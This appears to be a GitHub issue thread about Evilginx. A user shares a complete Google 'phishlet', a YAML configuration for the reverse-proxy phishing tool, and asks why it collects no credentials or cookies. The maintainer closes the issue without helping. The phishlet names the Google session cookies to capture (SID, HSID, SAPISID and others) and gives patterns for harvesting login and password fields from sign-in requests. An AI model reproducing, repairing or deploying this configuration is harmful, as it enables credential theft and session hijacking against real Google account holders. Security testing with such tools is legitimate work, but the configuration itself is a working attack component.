Not collecting anything.

[infosecwatchman]

Hello,
I'm having some trouble running any phishlet, I tried the outlook phishlet, and created my own google phishlet. I am successfully running through the login process with the landing url from Evilginx, but I am not collecting any of usernames, passwords, or cookie. I get a log from the sessions but nothing else. Here is my google phishlet for reference, although I think it is a different problem because I didn't change anything and the outlook isn't working either.

     1  name: 'google'
     2	author: '@GregorioSecurity'
     3	min_ver: '2.3.0'
     4	proxy_hosts:
     5	  - {phish_sub: 'accounts', orig_sub: 'accounts', domain: 'google.com', session: true, is_landing: true}
     6	  - {phish_sub: 'ssl', orig_sub: 'ssl', domain: 'gstatic.com', session: true, is_landing: false}
     7	sub_filters:
     8	  - {triggers_on: 'accounts.google.com', orig_sub: 'accounts', domain: 'google.com', search: 'https://{hostname}/signin/', replace: 'https://{hostname}/signin/', mimes: ['text/html', 'application/json', 'application/javascript', 'application/xhtml+xml', 'application/xml']}
     9	  - {triggers_on: 'accounts.google.com', orig_sub: 'accounts', domain: 'google.com', search: 'https://{hostname}/speedbump/', replace: 'https://{hostname}/speedbump/', mimes: ['text/html', 'application/json', 'application/javascript', 'application/xhtml+xml', 'application/xml']}
    10	  - {triggers_on: 'accounts.google.com', orig_sub: 'accounts', domain: 'google.com', search: 'href="://{hostname}', replace: 'href="https://ssl.{hostname}', mimes: ['text/html', 'application/json', 'application/javascript', 'application/xhtml+xml', 'application/xml']}
    11	  - {triggers_on: 'accounts.google.com', orig_sub: 'accounts', domain: 'google.com', search: 'https://{hostname}/CheckCookie', replace: 'https://{hostname}/CheckCookie', mimes: ['text/html', 'application/json', 'application/javascript', 'application/xhtml+xml', 'application/xml']}
    12	auth_tokens:
    13	  - domain: '.google.com'
    14	    keys: ['SID', 'HSID', 'SSID', 'APISID', 'SAPISID', 'NID','CGIC','SNID', 'LSID','1P_JAR',]
    15	  - domain: 'accounts.google.com'
    16	    keys: ['GAPS', 'LSID']	
    17	credentials:
    18	  username:
    19	    key: '(login|Email)'
    20	    search: '(.*)'
    21	    type: 'post'
    22	  password:
    23	    key: '(passwd|Passwd)'
    24	    search: '(.*)'
    25	    type: 'post'
    26	login:
    27	  domain: 'accounts.google.com'
    28	  path: '/signin/v2/identifier'
    29	  path: '/ServiceLogin/identifier'

[infosecwatchman]

@kgretzky Are you closing this because no one answered, or because this was resolved in another ticket?

[kgretzky]

I'm closing because you asked for support regarding phishlets.